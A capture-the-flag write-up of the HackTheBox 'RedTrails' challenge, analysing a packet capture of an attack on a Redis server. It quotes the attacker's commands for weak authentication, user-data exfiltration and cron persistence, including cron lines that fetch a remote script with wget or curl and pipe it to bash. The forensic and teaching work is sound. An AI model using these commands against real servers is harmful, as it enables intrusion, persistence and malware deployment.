RedTrails — HackTheBox

Description

Analyze a pcap capture file (capture.pcap, 291707 bytes) containing network traffic of a Redis server attack. The flag is split into three parts hidden across different stages of the attack.

Files provided:

• capture.pcap — Network capture (291707 bytes)

Analysis

Network Topology

Three hosts identified in the capture:

Host	Role	Details
10.10.0.15	Attacker	Initiates Redis commands, hosts rogue Redis master
10.10.0.90:6379	Victim	Redis server (target)
10.10.0.50	C2 Server	files.pypi-install.com — malware distribution

Protocols: Redis (RESP), HTTP, TLS. Multiple TCP streams covering the full attack lifecycle.

Attack Flow Overview

The attack follows a classic Redis exploitation chain:

Weak Auth → Data Exfil → Cron Persistence → Rogue Server RCE → Cryptominer Deployment

---

Phase 1 — Initial Access & Data Exfiltration

TCP stream 0 (10.10.0.15:38342 → 10.10.0.90:6379)

The attacker authenticates and performs reconnaissance:

AUTH 1943567864              # Weak numeric password
COMMAND DOCS                 # Enumerate available commands
INFO                         # Server information
KEYS *                       # List all keys
HGETALL users_table          # Exfiltrate user data

The HGETALL users_table response contains 10 users with MD5 password hashes and emails. Among them:

henry6159 → email: FLAG_PART:REDACTED

🚩 FLAG PART 2: REDACTED

Cron Job Injection

The attacker then pivots to persistence:

CONFIG SET DIR /var/spool/cron
CONFIG SET DBFILENAME root
SET cron1 "\n*/1 * * * * wget -q -O- http://files.pypi-install.com/packages/VgLy8V0Zxo | bash\n"
SET cron2 "\n*/1 * * * * curl -fsSL http://files.pypi-install.com/packages/VgLy8V0Zxo | bash\n"
SET cron3 "\n*/1 * * * * cd /tmp && wget -q http://files.pypi-install.com/packages/VgLy8V0Zxo -O .cache && bash .cache\n"
SAVE
CONFIG SET DIR /var/spool/cron/crontabs
SAVE

...